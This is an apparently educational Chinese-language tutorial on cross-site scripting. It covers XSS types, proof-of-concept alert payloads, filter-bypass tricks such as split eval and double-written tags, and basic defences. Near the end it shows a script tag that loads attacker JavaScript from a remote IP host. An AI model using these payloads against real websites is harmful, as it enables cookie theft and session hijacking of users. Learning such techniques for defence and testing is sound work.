XSS专题

一、介绍

XSS（Cross-site Scripting，跨站脚本攻击），Owasp Top 10  2017中排名第7。主要基于JS完成恶意攻击行为。

原因：通过将精心构造的代码注入网页中，并由浏览器运行这段代码，达到攻击效果。XSS攻击的对象是用户和用户的浏览器（前端攻击）。

主要原因是没有对攻击者的输入进行严格的过滤，微博、留言板、聊天室等收集用户信息的地方都有可能被注入XSS代码。该漏洞存在于服务器中，但是执行环境在客户端浏览器，属于被动攻击。

主要危害：盗取用户账号；窃取cookie资料，冒充用户身份进入网站；劫持用户会话，执行任意操作；刷流量，弹窗广告；传播蠕虫病毒等。

主要的角色：攻击者、浏览器（与浏览器类型、不同版本有关）、受害者（用户）。

1.攻击者将恶意代码注入到服务器，用户访问该服务器网页。

2.服务器将含有恶意代码的网页响应给客户端。

3.在客户端触发恶意JS代码并执行。

4.用户被攻击。

Poc：XSS的漏洞用一段代码，验证漏洞的存在，这样的代码叫Poc（Proof of concept概念验证）。

EXP：漏洞的完整利用工具。

shellcode：利用漏洞时执行的代码。

payload：攻击载荷。在sqlmap里是攻击模板；msf里边同shellcode，建立与目标的连接。

二、验证漏洞存在的Poc

<script>alert(/xss/)</script>                  弹窗（常用）

<script>confirm('xss')</script>              弹出确认框   

<script>prompt('xss')</script>               弹出输入框

当在浏览器上输入以上内容后，如果有相应的弹窗，代表浏览器可解析代码，即存在XSS漏洞。于是便可以提交任意恶意JS代码。

三、XSS漏洞分类

1.反射型XSS

代码存在于web应用的参数（变量）当中。多发于搜索框。

2.储存型XSS

代码写进数据库或文件等可以永久保存的介质中。可持久攻击（每次点开页面就执行）。多发于留言板。

3.DOM型XSS

修改受害者浏览器页面的DOM树而执行（只要修改DOM树，浏览器就会重新渲染页面），并不会传到服务器上，只在浏览器上执行，因此比较难以检测。

四、XSS构造

1.利用<>构造HTML标签/<script>标签。

2.伪协议

javascript:    +js代码

3.产生自己的事件

事件：如鼠标移动、键盘输入等；JS可对这些事件进行响应，通过事件触发代码。

windows 事件           对windows对象

Form事件                 HTML表单内的动作

keyboard事件           键盘按键

Mouse事件               鼠标或类似动作

Media事件                多媒体触发的事件

五、XSS变形（绕过过滤）

1.大小写转换。

2.引号的使用。应对某些过滤函数。

3.左斜线（/）代替空格。

4.利用Tab或回车符。把一行隔断开。

5.对标签属性值进行编码。

6.拆分跨站。

<script>z='alert'</script> 

<script>z=z+'(/xss/)'</script> 

<script>eval(z)</script> 

以上上三代码在执行时合并成一行，即：<script>alert(/xss/)</script> 

7.双写绕过。

<scr<script> ipt>

六、XSS防御

1.使用XSS Filter（XSS过滤器），过滤客户端提交的有害信息。

（1）输入过滤：

输入是否仅包含合法字符。

输入字符串是否超过最大长度限制。

输入如果为数字，数字是否在指定的范围。

输入是否符合特殊的格式要求，如E-mail地址、IP地址等。

（2）输出编码

（3）黑白名单

七、远程调用shellcode

将JS代码单独存放在一个JS文件中（可以是互联网上任意一台主机地址），然后通过http协议远程加载该脚本。

例：<script src="http://172.168.111.132/XSS-text/XSS.js"></script>

八、终极代码：测试所有的过滤

<script script " 'OOnn>